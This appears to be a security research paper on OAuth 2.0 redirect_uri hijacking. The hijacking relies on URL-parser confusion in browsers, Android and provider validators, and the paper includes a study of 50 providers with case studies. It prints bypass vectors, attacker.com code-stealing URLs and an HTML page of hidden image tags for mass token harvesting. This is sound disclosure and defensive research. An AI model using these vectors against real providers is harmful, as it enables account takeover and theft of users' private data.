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Abstract 
 
Since 2012, OAuth 2.0 has been widely deployed by online service providers worldwide. 
Security-related headlines related to OAuth showed up from time to time, and most problems 
were caused by incorrect implementations of the protocol. The User-Agent Redirection 
mechanism in OAuth is one of the weaker links as it is difficult for developers and operators to 
realize, understand and implement all the subtle but critical requirements properly. In this talk, 
we begin by tracing the history of the security community’s understanding of OAuth redirection 
threats. The resultant evolution of the OAuth specification, as well as the best current practice on 
its implementation, will also be discussed. We then introduce new OAuth redirection attack 
techniques which exploit the interaction of URL parsing problems with redirection handling in 
mainstream browsers or mobile apps. In particular, some attacks leverage our newly discovered 
URL interpretation bugs in mainstream browsers or Android platform (The latter were 
independently discovered and have been patched recently). Our empirical study on 50 OAuth 
service providers worldwide found that numerous top-tiered providers with over 10,000 OAuth 
client apps and 10’s of millions of end-users are vulnerable to this new attack with severe 
impact. In particular, it enables the attacker to hijack 3rd party (Relying party) application 
accounts, gain access to sensitive private information, or even perform privileged actions on 
behalf of the victim users. 

1 Background 
 

1.1 OAuth 2.0 
 
RFC 6749 describes the OAuth 2.0 authorization framework, as a replacement of OAuth 1.0, 
becomes the mostly used authorization framework these days. We introduce the terminologies 
and give a brief protocol description with two widely implemented flows, namely authorization 
code flow (Figure 1) and implicit flow (Figure 2).  
 



 
Figure 1. OAuth 2.0 Authorization Code Flow with Confidential Client 

Figure 1 illustrates the Authorization Code Flow with a confidential client. Although OAuth 2.0 
is designed for authorization, in practice, it is often being implemented and deployed for 
authentication. In different contexts, the OAuth service provider has different names. When used 
for authorization, the provider server is called Authorization Server (AS). When in the 
authentication context, people usually mention it as the Identity Provider (IdP). IdP can be seen 
as a special case of AS, since identity is a special kind of protected resource that provided by the 
AS. A confidential client refers to an OAuth client which is capable of protecting its credential 
and proving its identity to the provider, means that the client needs to be deployed on server-side. 
By contrast, a client cannot protect its credential is a public client. 
 
The flow illustrated in Figure 1 includes the following steps: 

1. A user visits the web server hosting OAuth Client, e.g., IMDB website, and start the 
OAuth authorization process by, e.g., clicking “Connect with Facebook” button. 

2. The web server generates a session-bound variable state to guard against CSRF attacks 
and responses with a redirection. 

3. The redirection is sent to AS, along with necessary parameters. The response_type 
parameter is set to “code”, indicating the use of Authorization Code Flow. OAuth client 
identifies itself with the client_id. The redirect_uri tells the AS where to deliver the 
result.  

4. After AS authenticates the user, it replies an authorization code to the client as an 
intermediary between client and provider. The code is sent through a redirection on the 
user agent, and the redirect location is the value of the redirect_uri parameter provided in 
step 3. 

5. User-agent handles the redirection and sends a request to OAuth client with the 
authorization code and state. Before accepting the request, the client needs to validate 
whether the state variable is equal to the one issued in step 2.  

6. The confidential client exchanges code for access_token. The client_secret is used to 
authenticate the client to the provider. It also provides a redirect_uri parameter which is 
the predefined redirection endpoint. 



7. Authorization server (AS) authenticates the client, verifies that the redirect_uri in the 
request is identical to the one received in step 3. After that, it returns the access_token to 
the client, which can then be used to access protected resources.  

 

 
Figure 2. OAuth 2.0 Implicit Flow with Public Client 

 
Figure 2 illustrated the implicit flow used by public clients. Comparing to Figure 1, the flow is 
much simpler at the cost of security. As the client is public and cannot authenticate itself to the 
provider, the risk of client impersonation exists. The primary difference in the protocol flow is 
that, instead of returning an intermediate code parameter after authorization request, it directly 
response with a redirection containing the access_token in the fragment (in the form 
https://client.tld/callback#access_token). When the redirection happens, the fragment is retained 
by the user agent and not sent in the request as per RFC 2616 [1]. The server then returns a web 
page and using Javascript to extract the access_token, which can be used directly or sent back to 
the server. 
 

1.2 OAuth 2.0 for Native Apps 
 
RFC 8252 [2] suggests the best practice of using OAuth 2.0 for native apps, e.g., mobile apps 
and desktop apps. Although original OAuth 2.0, as per RFC 6749 [3], is a general framework 
that includes the scenario of using a native app as the client, some features that specific to native 
apps can bring new security threats, which is not discussed in the original specification. 
 



 
Figure 3. Flow of OAuth 2.0 for Native Apps 

 
Figure 3 is a simplified flow graph of OAuth 2.0 for native apps, as suggested by RFC 8252. The 
primary difference that of our concern is the redirection mechanism used to pass the 
authorization code to the native app. In step 4, when the browser handles the redirection pointing 
to a URL with a custom scheme, the native app which had that scheme registered would be 
invoked. Note that, based on our observation and statements in [4] [5], implementations in 
practice has many variants. For instance, when a server-side confidential client is used, step 5 
and 6 will be replaced with a request sending authorization code from the native app to server-
side OAuth client. In some other implementations, embedded user-agent, e.g., WebView or other 
external user-agent, e.g., another mobile app, is used instead of the browser. Since our focus is 
on the redirection mechanism, which can exist in all these variants, we do not distinguish them in 
this paper and assume that we are discussing the model showed in Figure 3 by default. 
 

1.3 URL Syntax 
 
First URL (Unified Resource Locator) standard is the RFC 1738 [6] published by IETF in 1994. 
Later, RFC 3986 [7], a more general standard for URI (Unified Resource Identifier), was 
released in 2005. However, IETF is not the only organization which is maintaining URL 
specifications. In 2005, WHATWG also launched their URL specification [8], which focuses 
more on browsers. The difference between them are minor but may also be the reason behind 
some URL parser issues we are going to discuss later. As our primary target is attacking OAuth, 
we will not dig into details of URL parser specification, instead, we will introduce some 
necessary backgrounds of URL using WHATWG URL living standard as our reference, since it is 
more updated and has a more explicit parser definition using state machine, and most modern 
browsers conform to it. 
 



 

 
Figure 4 shows the components of a full URL. As the threats we introduce in this paper are 
mostly related to only scheme and authority components, we will not discuss other components 
in this section. Note that the description below may not be accurate, please refer to the 
specification for rigorous definitions. 

• Scheme: starts with [a-zA-Z], can contain [a-zA-Z0-9\+\-\.], identifies type of the URL. 
• Authority: this is the most complicated and problematic part. Several points to notice: (a) 

All special characters in user-info, except the last @, is URL-encoded. (b) In special 
schemes, e.g., HTTP and FTP, \ is treated as path separator, which serves the same 
purpose as /. (c) Any one of \, /, # and ? first appeared in the URL is treated as the 
separator between authority regardless of which component it is in. 

2 History of Redirection Issues in OAuth 
 
2.1 Timeline 
 

1. Dec 2012. In RFC 6749 - The OAuth 2.0 Authorization Framework [3],  the threat of 
redirect URL manipulation and its mitigation have been discussed in #10.6. The two 
validations AS should perform to prevent such attack are quoted below. We refer to them 
as Validation-1 and Validation-2 throughout this paper. 

● Validation-1: The authorization server MUST ensure that the redirection URL 
used to obtain the authorization code is identical to the redirection URL provided 
when exchanging the authorization code for an access token. 

● Validation-2: If a redirection URL is provided in the request, the authorization 
server MUST validate it against the registered value. 

One thing worth noticing is that the second requirement does not specify how to 
“validate” the redirection URL. 

2. Jan 2013. In RFC 6819 - OAuth 2.0 Threat Model and Security Considerations [9], 
quoted: An authorization server should require all clients to register their “redirect_uri”, 

Figure 4: URL Components. Source of the figure: [32] 
  



and the “redirect_uri” should be the full URL. Also, in #4.4.1, countermeasures have 
been discussed for code injection attack, under different code stealing scenario, but not 
with redirection URL. 

3. Feb 2014. In OpenID Connect Core 1.0 [10], it explicitly requires using Simple String 
Comparison defined in RFC 3986 [7] to validate redirect_uri. 

4. May 2014. A researcher released a website [11] and proof-of-concept videos for a 
vulnerability which he named Covert Redirect and got media’s attention. Very soon, 
researchers including one of OAuth specification author argued that this threat was not 
new and had been included in the specification [12]. 

5. May 2017. The initial draft of OAuth 2.0 Security Best Current Practice [13] was out. It 
put redirect URL validation in a primary section and highlighted that AS should use 
simple string comparison since the correct implementation of pattern matching could be 
complicated.  

 

2.2 Vendors Reactions 
 
Before 2014, many OAuth providers use domain whitelist or pattern matching to validate 
redirect URL. After the Covert Redirect vulnerability got a lot of attention, there was a burst of 
bug reports, and vendors gradually start to modify their OAuth implementation to eliminate the 
risk of URL pattern matching. However, as some vendor stated, this is a long process 
considering backward compatibility.  
In Mar 2015, Paypal released a security update that required developers to update the 
redirect_uri configuration to use full URL [14]. This forced the strict URL matching and 
obsoleted pattern matching. 
In Dec 2017, Facebook provided a new option called Strict URL Matching and later turned it on 
by default [15]. Before that, prefix matching was used, and if no redirect URL was configured, 
any URL under the client's domain was allowed. 
In Feb 2018, QQ published a notice that asking developers to change the redirect_uri 
configuration to complete URL rather than solely domain [16]. Before this change, QQ was 
using domain matching for redirect_uri validation. In fact, from 2014 to 2016, during the two 
years after Covert Redirect, there were several reported vulnerabilities exploiting the relaxed 
validation. 
 

3 Related Works 
 
Exploiting information leakage endpoint in relying party’s website to steal OAuth code/token is 
an old attack technique. The Covert Redirect discussed in [11] is the most well-known attack of 
this type. Attackers need to find an Open Redirect vulnerability on relying part’s website to 
perform the attack. Another example is the Github OAuth vulnerability reported by Egor 
Homakov [17], which exploited the code/token leakage in the Referer header when loading 
cross-domain resources. As these attacks depend on flaws on relying party’s websites, some 
OAuth providers, e.g., Microsoft [18], refused to fix the issue on the their side. By contrast, the 
URL parser related attacks we discuss are providers vulnerabilities without dispute, and thus 
affect all relying parties websites without depending on any other vulnerabilities. In short, our 



attacks have broader coverage and are more straightforward to exploit. We have seen a few 
vulnerability reports of this type in the wild, [19] [20] exploited the sloppy URL validator by 
appending suffix to the domains, while [21] [22] exploiting URL parser issues of the providers, 
[23] even exploited a URL parsing bug in Internet Explorer 11. In our work, we perform 
comprehensive study for this kind of threats, introduce some new attack techniques, and expose 
some new browser bugs. Meanwhile, we are also the first to introduce the WebView Redirector 
threats of OAuth in mobile. Comparing to the Overwrite Redirect URL in Mobile vulnerability 
[24], which requires installing a malicious app, our attack cases exploit existing mobile apps as 
well as two less known bugs of Android URL parser that hid for years and patched only recently. 
 

4 New Threats and Exploits 
 
 

4.1 Common Patterns of URL Validator 
 
During a mass evaluation of real-world OAuth implementation, we noticed that URL validator of 
OAuth providers behaved differently. Here we list most types of URL validator behavior we 
observed in this section and discuss exploit technique for each of them in the next section.  
 

● Domain whitelist 
Some OAuth providers, especially those legacy ones, allow clients without redirect_uri 
being explicitly configured. They only check domain part of URL as well as make sure 
scheme is HTTP or HTTPs. Some of them even whitelist all the subdomains of the 
configured domain. In such case, if domain domain.tld is whitelisted, 
https://sub.domain.tld/a/b will still be a valid redirect URL. 
 

● Prefix matching 
Most OAuth providers require users to configure redirect_uri when register OAuth 
clients. However, many of them only validate the redirect_uri provided in the request 
with prefix matching. In such case, assume a developer registered https://domain.tld/a as 
redirect_uri, https://domain.tld/abc will also be valid. Note that some of the 
implementations also parse and validate the domain in addition to prefix matching. 
 

● Arbitrary scheme 
We have also seen OAuth providers which check strict match for domain and path but 
allow any custom scheme. Their intention could be giving developers the flexibility to 
use OAuth for native apps. In such case, URL in the form of x://domain.tld/a is allowed.  

 
 

4.2 Exploits in Browser 
 
In general, to successfully exploit an OAuth redirect_uri vulnerability, the first step is to find a 
way to leak the code or access token of the victim. Covert Redirect achieved this by exploiting 
an Open Redirector on the website hosting the OAuth client, while we focus on finding a bypass 



for URL validator. In other words, we break assumptions behind Validation-2. Techniques we 
used to bypass URL validator are categorized below.  
 
In this section, all green text in URLs are host parts. The URL on the left of the arrow (à) 
represents the interpretation of OAuth provider’s URL validator, while the URL on the right 
shows the interpretation in browsers.  
 
4.2.1 Flaws in encoding/decoding 
 
Encoding/decoding is complicated and easy to contain flaws, this is known for decades. A 
thorough study has been conducted and summarized in Unicode Security Guide [25], which 
covered many classic Unicode attack tricks apply even today. We here present three attack 
vectors we observed working in multiple implementations. We expect that there are more attack 
vectors exploiting encoding/decoding flaw. 
 

• Over-consumption 
 

If user credential is allowed, test with the following vector: 
https://attacker%ff@benign.com à https://attackernign.com 
 
If subdomains are allowed, test with the following vector: 
https://attacker%ff.benign.com à https://attackernign.com 

 
Explanation: When the decoder in the server meets a character larger than ASCII range, it 
will try to decode it using Unicode together with proceeding characters. This kind of 
vulnerabilities was described in [25] as a technique for XSS attacks. Here we use it to 
construct redirection exploits. 
 

 
• Decode to question mark 

 
Attack case 1 (wrong decoding by the server) 

 
https://attacker.com%ff@benign.com à https://attacker.com?@benign.com 

 
Explanation: When validating the domain, the parser extracts benign.com as the domain. 
Before the URL is outputted, the unprintable %ff is converted to ?. Thus, the browser will 
send the request to attacker.com. We found this technique in a bug report [22]. 
 
Attack case 2 (wrong decoding by the browser) 
 
https://attacker.com%bf:@benign.com à https://attacker.com?@benign.com 
 
Explanation: Browser may not able to decode some malformed Unicode. As a result, it 
converts the Unicode sequence to question mark (?) and visits the wrong domain. We 
found this bug on Edge 38.14393.1066.0. 



• Best fit mappings 
 

Attack case 1: 
https://attacker.com／.benign.com à https://attacker.com/.benign.com 

 
Explanation: Parser retains full-width character, while browser, e.g., some old versions of 
Edge or IE, normalizes it to a half-width character. 

 
Attack case 2: 
https://benign.com／@attacker.com à https://benign.com／@attacker.com 

 
Explanation: Parser normalizes full-width character to half-width character, while the 
browser retain the full-width character. 

 
4.2.2 Evil Slash Trick 

 
Most browsers treat both / and \ as path separator, and when user input URL in the address bar, 
most browsers automatically convert \ to /. According to the URL standard [8], this is desired 
behavior. However, both URL validator and the browser can do this wrong. 

 
• Parser does not treat forward slash as path separator, while the browser does. 

 
https://attacker.com\@benign.com à https://attacker.com/@benign.com 

 
Explanation: Parser does not treat \ as a separator and extracts benign.com as domain, 
while browser converts \ to / and sends the request to attacker.com. 

 
• Parser treats forward slash as path separator, while the browser does not. 

 
https://benign.com\@attacker.com à https://benign.com\@attacker.com 

 
Explanation: This attack relies on a new bug of Safari we reveal for the first time, 
working on latest version of Safari at the time of writing. When handling the redirection, 
Safari allows \ in user-info and does not treat it as the path separator. When parser treats \ 
as path separator and retains it in the output, Safari will be redirected to attacker.com. 

 
4.2.3 Scheme Manipulation 

 
When scheme can be modified to a string starts with a numeric value, the following vector works 
on Safari: 
4ttacker.com://benign.com à http(s)://4ttacker.com://benign.com 
 
Explanation: This bases on a Safari bug we revealed for the first time. As per URL specification, 
the scheme can only start with an alphabet. When the URL location in redirection starts with a 
numeric value, Safari automatically prepends the scheme from the location before redirection to 



it. For instance, if it redirects from https://domain.tld, https:// is prepended. This result in original 
scheme 4ttacker.com:// being interpreted as host (4ttacker.com) with empty (default) port, and 
the origin host benign.com becomes the path. 
 
4.2.4 IPv6 Address Parsing Bug 

 
https://attacker.com\[benign.com] à https://attacker.com/[benign.com] 
 
Explanation: Some URL parsers treats any string inside [] as IPv6 host without additional 
validation. We have reported this issue to affected URL parser libraries. As it is not fixed at the 
time of writing, we will not disclose their names. 

 
4.2.5 Combined Validator 

 
https://benign.com.attacker.com\@benign.com à https://benign.com.attacker.com/@benign.com 
 
Explanation: we observed that some authorization servers do both prefix-matching and domain 
checking for URL validation. Assume https://benign.com is configured as redirect_uri, the 
validator requires the input URL to start with the configured value and, to prevent a trivial attack 
like https://benign.com.attacker.com, an additional validation on the domain is performed. The 
attacker can combine some host confusion technique introduced above to make the exploit 
working. 
 

4.3 Exploits in Mobile App 
 
We use Android as an example in this section. Except clearly stated that it is Android specific, 
similar techniques could be used in iOS as well. 
 
4.3.1 Background of deep-link/app-link 
 
In Android, there are two mechanisms for invoking app from URL. One is called deep-link, 
which is a URL with a custom scheme, e.g., myapp://example.com. Another is app-link, which is 
an HTTP(S) URL with a specific domain registered by an app. Here we focus on the deep-link, 
but similar principles apply to app-link as well. Note that in iOS there are also these two types of 
links with different names. 
 
Android app can register a deep link with intent filter in AndroidManifest.xml like follows: 
<activity android:name="com.example.android.ExampleActivity"> 
<intent-filter> 
  <action android:name="android.intent.action.VIEW" /> 
  <category android:name="android.intent.category.DEFAULT" /> 
  <category android:name="android.intent.category.BROWSABLE" /> 
  <data android:scheme="https" android:host="www.example.com" /> 
  <data android:scheme="myapp" android:host="open.my.app" /> 
</intent-filter> 



In the example above, URL in the form of https://www.example.com/somepath and 
myapp://open.my.app/somepath are registered. Note that the BROWSABLE category indicates 
that the link is accessible from the browser.  
 
Unlike attacks in browsers that we discussed in the previous section, attacks in this section work 
only if the mobile app contains WebView Redirector. 
 
4.3.2 WebView Redirector 
 
It is common for an app to accept being invoked from a BROWSABLE deep-link and load a 
webpage in WebView. The address of the webpage can be a parameter passed in the deep-link, 
either in its parameter or somewhere else. If there is no check on this address, the attacker can 
manipulate it and create an Open Redirect in WebView. This is known to be a risk that could 
lead to some WebView related vulnerabilities, e.g., local file reading, with particular 
configurations, and could also result in cookie/token leakage when the app programmatically set 
cookie/token for WebView request. However, when it is used as an attack surface for OAuth, we 
can drop the assumptions for any of these additional vulnerabilities, solely an Open Redirect 
would be sufficient, and many apps meet this condition. Note that our attack is different from the 
code interception attack described in RFC 7636 [26], which requires a malicious app installed 
and overwrite the deep-link registration. 
 
 
4.3.3 Attack Cases 
 
Case 1: Covert Redirect in Mobile Apps 
 
Pseudocode: 
if url in deeplink.query: 
    newUrl = deeplink.query.get("url") 

WebView.setHeader("X-Deeplink-From", deeplink.URL) 
WebView.loadUrl(newUrl) 

else if code in deeplink.query: 
    OAuth.getAccessToken(deeplink.query.get("code")) 
else: 
    ...... 
 
Attack vector: 
myapp://deeplinkrouter/?url=https://attacker.com 
 
Activity bound to the myapp://deeplinkrouter/ intent filter would extract the URL specified by 
the url parameter and load it in WebView. Suppose that the app also registered 
myapp://deeplinkrouter/ as OAuth redirect_uri, and a normal OAuth redirection is 
myapp://deeplinkrouter/?code=xxxx. An attacker can lure victim visiting the link: 
 
https://api.provider.tld/authorize?client_id=xxx&redirect_uri=myapp://deeplinkrouter/%3furl%3
dhttps://attacker.com&response_type=code 
 



After AS authorizes and redirects to 
myapp://deeplinkrouter/?url=https://attacker.com&code=xxx, app registered myapp:// 
deeplinkrouter/ will be invoked. By the logic of above pseudocode, since url parameter exists in 
the query,  the app will load https://attacker.com in WebView with the deep-link containing code 
leaked in a custom header. This attack is similar to the Covert Redirect as there is a parameter 
that can be manipulated for Open Redirect. However, unlike in browsers, fragment won't be 
retained when the URL is loaded in WebView. Thus, for it to work, the app should somehow 
leak the code or token to the attacker. The pseudocode above shows one such scenario.  
 
Case 2: Scheme Replacement 
 
Pseudocode: 
if deeplink.host == "oauth": 
    OAuth.getAccessToken(deeplink.query.get("code")) 
else if deeplink.host == "ad": 
    ...... 
else: 
    Webview.loadUrl(deeplink.URL.replace("myapp", "https")) 
 
Attack vector: 
myapp://attacker.com 
 
The app routes deep-link by the host part. When there is no match, the URL would be loaded as 
HTTP in WebView. An attacker can lure victim visiting the link: 
 
https://api.provider.tld/authorize?client_id=xxx&redirect_uri=myapp://attacker.com&response_t
ype=code 
 
After AS authorizes and redirects to redirect_uri with code appended in the mobile browser, the 
app would be invoked, and https://attacker.com?code=xxx would be loaded in WebView. 
 
Bonus: Bypass Host Validation 
 
What if the app in Case 2 has “android:host” configured to only accept “oauth”, “ad” and 
“benign.com” in AndroidManifest.xml? 
 
Bypass 1 
Android: myapp://attacker.com\@benign.com à  
WebView: myapp://attacker.com/@benign.com 
 
Bypass 2:  
Android: myapp://a@benign.com:@attacker.com à 
WebView: myapp://a%40benign.com:@attacker.com 
 
Note that these bypassing tricks also work for url parameter in case 1 if the app use 
net.Android.Uri to parse the URL. 
 



URL parser in Android library net.Android.Uri contained bugs existing for a long time. We 
discovered these bugs independently earlier this year when testing mobile apps. However, we 
later found that Android has released patches for these two bugs in January [27] and April 2018 
[28] correspondingly. Bypass 1 works as Android URL parser doesn’t treat \ as path separator, 
while WebView does. Bypass 2 works since Android URL is confused by multiple @ in the 
URL.  

5 Practical Exploit 
 

5.1 Code Injection 
 
OAuth has a mechanism to protect against code leakage through redirect_uri. Validation-1 
requires redirect_uri in the authorization request and the token exchange request to be equal, 
which is exactly for this purpose. This requires AS to store the redirect_uri in the authorization 
request until the token exchange request comes in. We also noticed that some AS will not 
validate the redirect_uri if it does not appear in the token exchange request. If its client also does 
not provide it in the token request, the mitigation is invalid. This could explain our observation 
that in reality, numbers of implementations are vulnerable to code injection attack. This issue 
was also observed and stated in [13], and some alternative countermeasures are proposed, such 
as nounce, code-bound state, or PKCE. 
As an attacker, one simple yet effective technique worth to try is replacing response_type to from 
“code” to “token”, and test if the implicit flow is supported. By doing this, the attacker can 
directly get access_token and bypass any code injection mitigation. This is an old attack known 
as app impersonation attack that has been discussed in 2014 [29] [30]. However, in practice, this 
works quite well even nowadays. 
Another hurdle when exploiting code injection is the state variable. There are misunderstandings 
among developers and security researchers that the session-bound state variable can prevent code 
injection attack. The truth is that only code-bound state variable can prevent code injection, 
session-bound state variable only prevents CSRF. Even worse, in reality, many implementations 
for state validation contain flaws [31]. In many cases, the attacker can reuse any valid state or 
create a valid session-state pair by intercepting an OAuth authorization request. 
 
5.2 Exploit Blindly 
 
<html> 
<img src="https://provider.tld/oauth/authorize?client_id=0001&..."/> 
<img src="https://provider.tld/oauth/authorize?client_id=0002&..."/> 
<img src="https://provider.tld/oauth/authorize?client_id=0003&..."/> 
</html> 
 
The OAuth redirection vulnerabilities caused by URL parser that we discussed is a provider side 
vulnerability and affect all its OAuth clients. Meanwhile, most implementations support the auto-
consent mechanism that grants permission for authorization automatically after the first time, 
giving attackers the ability to perform CSRF style stealthy attack. The stealthiest technique 



should be creating images pointing to the constructed OAuth authorization URL. The attacker 
could even insert malicious images on some online social platforms. In reality, two conditions 
have to be met for this attack to work.  

1. The user has logged into the provider (AS) and the login session is still valid. 
2. There is no consent page, which usually means that the user has previously granted 

access to the client so that auto-consent apply.  
The knowledge of the second condition, that whether a client needs user’s consent, is challenging 
to retrieve ahead of the attack. However, the attacker can inject hundreds of images in the same 
webpage targeting all OAuth clients of a vulnerable provider. When the victim visits the 
webpage, code/ token for all clients met the second condition would be stolen at once. 
 

6 Evaluation and Impact 
 

6.1 Fuzzing Tools 
 
URL Validator Fuzzer (available on GitHub) 
 
We developed a fuzzing tool to automate the URL validator testing process. It sends redirection 
requests to the server and observe the validator’s behavior from the responses. The screen 
capture below shows the workflow as well as a sample output of the fuzzer. We will release this 
tool as open-source before/during the conference. 
 

 
 
 
Browser Redirection Fuzzer 
 



We implemented a simple web script to test the redirection behavior of browsers. The overall 
design of this simple fuzzing tool is shown in Figure 5. We create two programs listening on our 
own server. The Echoer simply sends redirections as requested. The Harvester listens for 
requests that are not supposed to send from the browser and record them as potential vulnerable 
cases. The browser under test is running scripts to dynamically load test cases in frames.  
 
 

 

6.2 Results and Impact Analysis 
 
Our initial evaluation includes 50 OAuth providers, and the number is accumulating as our 
research is ongoing. We observed that the result displayed regional bias, as the majority of 
vulnerable providers are Chinese online platforms, as shown in Table 1. The reason could relate 
to the recent trend in Bug Bounty programs for western companies, including some Russian 
companies, as we have found public disclosed bug reports that addressed OAuth redirection 
related issues, e.g., Covert Redirect, for some providers. As displayed in the table, providers 
having popular Bug Bounty programs have a lower-than-average rate to be vulnerable. 
 

Table 1. Regional Bias and Bug Bounty Program Bias 

 Total Vulnerable 

All OAuth providers we tested 50 11 

Use pattern matching 22 11 

Chinese online service providers 10 5 

Russian online service providers 3 0 

Having a Bug Bounty program 22 1 

 

GET https://echoer.tld/redir.php?url= 
1x.listener.tld://random.tld/path 

GET https://1x.listener.tld://random.tld/path 

Harvester 

HTTP/1.1 302 Move Temporarily 
Location: 1x.listener.tld://random.tld/path 

Running script that dynamically 
creates <iframe> to load URLs 

Echoer 
Browser 

Figure 5. The design and architecture of the Browser Redirection Fuzzer 



Some of the vulnerable cases in our evaluation set are listed in Table 2, containing various 
metrics. For an exploit to work, it may require that the victim is using a particular browser or 
using a mobile device with existing WebView Redirector defined in Section 3.4.2. Some of the 
vulnerable providers require the user’s consent every time, and such user interaction requirement 
makes the attack less practical. However, if a provider does not have clickjacking mitigations, 
e.g., setting a proper X-Frame-Options header, the attacker can construct a more feasible exploit 
by employing clickjacking. Additionally, we evaluated their mitigation for code injection attack 
by testing the implementation of Validation-1, as described in Section 4.1. It turns out many of 
them have flaws for this validation, e.g., some OAuth providers match redirect_uri in the token 
request with the registered pattern, some others even do not validate it. Implicit flow are 
supported by some providers, in such cases, attacker can directly steal access_token instead of 
code. 
 
During the evaluation, we have encountered some interesting cases which gave us insights. In the 
following paragraphs, we describe two high-impact and representative cases. 
 
 
 

Table 2. Selected Cases of Vulnerable OAuth Providers 

Service 
provider Role of OAuth 

Conditions of code/token stealing 
attack  

Access hijacking 
methods Impact 

Browser 
* 

Mobile 
**  

Click 
required 

Configuration of 
the OAuth client 

Support 
implicit 

flow 

Code injection 
attack 

Estimated # of 
users *** 

# of affected 
in top 100 

websites in 
China 

Major IdPs 
being clients of 
this vulnerable 

provider 
Online Social 

Network Authentication All N 
No, if 

authorized 
once 

Secure domain 
configured. 91% 
tested clients are 

vulnerable. 

N Vulnerable 400,000,000 + 45 Baidu, Renren, 
Douban, CSDN 

Integrated 
Service  Authentication Safari, 

Edge Y 
No, if 

authorized 
once 

None Y Not vulnerable 800,000,000 + 3 Renren, CSDN 

Integrated 
Service  Authentication 

Chrome, 
Firefox, 
Edge 

N 
No, if 

authorized 
once 

None Y Vulnerable 380,000,000 + 1 Renren 

Online Social 
Network Authentication All Y 

Always, 
but 

clickjacking 
is possible 

None Y Client behavior 
dependent 219,000,000 + 3 None 

Forum 
Authorization All Y 

No, if 
authorized 

once 
None N Client behavior 

dependent 26,000,000 + 0 N/A 

Data Platform 
Authorization All N 

No, if 
authorized 

once 
None Y Vulnerable 60,000,000 + 0 N/A 

Image 
Sharing Authorization 

Chrome, 
Firefox, 
Edge 

N 
No, if 

authorized 
once 

Redirect URI 
configured to only 

authority part. 
N Vulnerable 250,000,000 + 0 N/A 

Cloud 
Platform Authentication 

Authorization 

Chrome, 
Firefox, 
Edge 

N Never None N Vulnerable 320,000 + 0 N/A 

* We used the latest version of browsers for testing, and note that all the attacking vectors work in Edge also apply to the latest IE 11 
** A "Y" means that there is no validation for URL scheme, and attacker can steal code/token if an app with WebView Redirector exists. 
*** These numbers are estimated based on latest reports or news articles available online. Even 0.1% of users are using OAuth, the impact is significant. 

 
 



6.3 Case Studies 
 
Vulnerable Identity Provider: IdP-A 
 
IdP-A is one of the most supported OAuth providers in China. During the test, we find it 
vulnerable to one of the Combined Validator attacking vectors. However, there is a condition for 
a client to be vulnerable to this attack. IdP-A has an option for OAuth clients called secure 
domain. If redirect_uri is configured, but secure domain is not, IdP-A will use the strict match to 
validate the URL and thus invalidate our attack. However, if the developer sets a secure domain, 
regardless of the configuration for redirect_uri, IdP-A will only validate the URL against the 
secure domain. In this case, our parser attack can be used. We tested 152 top Alexa ranking 
websites that support login with IdP-A, astonishingly, 142 of them were vulnerable. These 
websites all have a large number of users, so the impact is enormous. Some of the vulnerable 
sites are identity providers themselves (dual-role IdP [31]), which means that once the attacker 
steals the identity of that website, he also gets access to all its OAuth clients, this could amplify 
the damage a lot more. We selected several popular vulnerable client apps as summarized in 
Table 3 to demonstrate the impact. IdP-A fixed the URL parser bug a month after our reports. 
 
Remarks: Developers are lazy, they may not follow documentation carefully and may not even 
read it. When options are given, they will always choose the easiest one. 
 

Table 3. Vulnerable IdP-A OAuth Clients with Over 10 Million Users 

Name Category 
Rank 
(China) 

Rank 
(Global) 

Is an identity 
provider itself? What can an attacker do? 

Baidu Integrated Service 1 4 Y Access private cloud files 

Sohu Integrated Service 5 14 N View private messages 

Qihoo 360 Integrated Service 9 22 Y View order history 

CSDN Developer Community 15 45 Y Steal coins 

Ifeng News 57 350 N Post article and comments 

Youku Video 62 315 N View video watching history 

Ctrip Travel 164 1122 N View hotel booking history 

Amap Navigation 463 3982 N View saved location list 
 
 
Vulnerable Cloud Platform: AS-B 
 
AS-B is a popular cloud platform. It has a web dashboard with integrated functions. During 
navigation on its dashboard, we observed that some functions are hosted on separate 
subdomains. After the user logging into the main domain, web apps on subdomains use OAuth to 
get authorization to access user’s resources. The authorization code returned by the main site, 
which has a high privilege, is then used to exchange for an API key to grant resource access. 
There is no redirect_uri parameter in the authorization request. However, the state parameter 



contains a URL which serves the same purpose as redirect_uri. By fuzzing this URL, we found 
that only domain whitelist validation was applied. We further confirmed that it was vulnerable to 
one of the Evil Slash Trick attack vectors. Exploiting this vulnerability, an attacker can steal the 
API key and gain full access to the cloud recourses owned by the user. We have reported this 
vulnerability to AS-B, and it has now been fixed. 
 
Remarks: Internal OAuth flows are good targets for three reasons: (1) There will be no consent 
page. (2) It returns a high privilege code/token. (3) In many cases, it could lead to account take-
over of the provider. 

7 Conclusions 
 
Combining URL parser issues with OAuth redirection mechanism, we discovered new 
exploitation techniques for code/token stealing attacks and identified vulnerabilities in several 
popular OAuth providers. Our evaluation also showed that correct code injection mitigation in 
practice is challenging, as an implementation flaw on either provider or client side leads to its 
failure. Based on our study, we summarize following suggestions as secure implementation 
guidelines for developers. 
 

● As for OAuth, we strongly suggest developer reading OAuth 2.0 Security Best Current 
Practice draft [13] and checking every security threat against your implementation. To 
prevent redirect_uri related vulnerabilities, best and most straightforward solution is to 
use Simple String Comparison [6] for URL validation. If for some reason, pattern 
matching like domain whitelist has to be used, the provider should make sure Validation-
1 and Validation-2 are implemented correctly or refer to Section 3.5.1. of [13] for 
alternative code injection mitigation. If the provider uses URL pattern matching, make 
sure no other API endpoint/webpage has the URL that matches the pattern. One good 
practice is to use a dedicated subdomain for authorization endpoint. 
 

● As to URL parser, we suggest that developers directly use URL parser of popular 
libraries if possible. If developers have to implement a URL parser themselves, the safest 
way is to follow the latest WHATWG standard strictly. Check all component involved in 
URL processing, and pay attention to encoding/decoding issues. 
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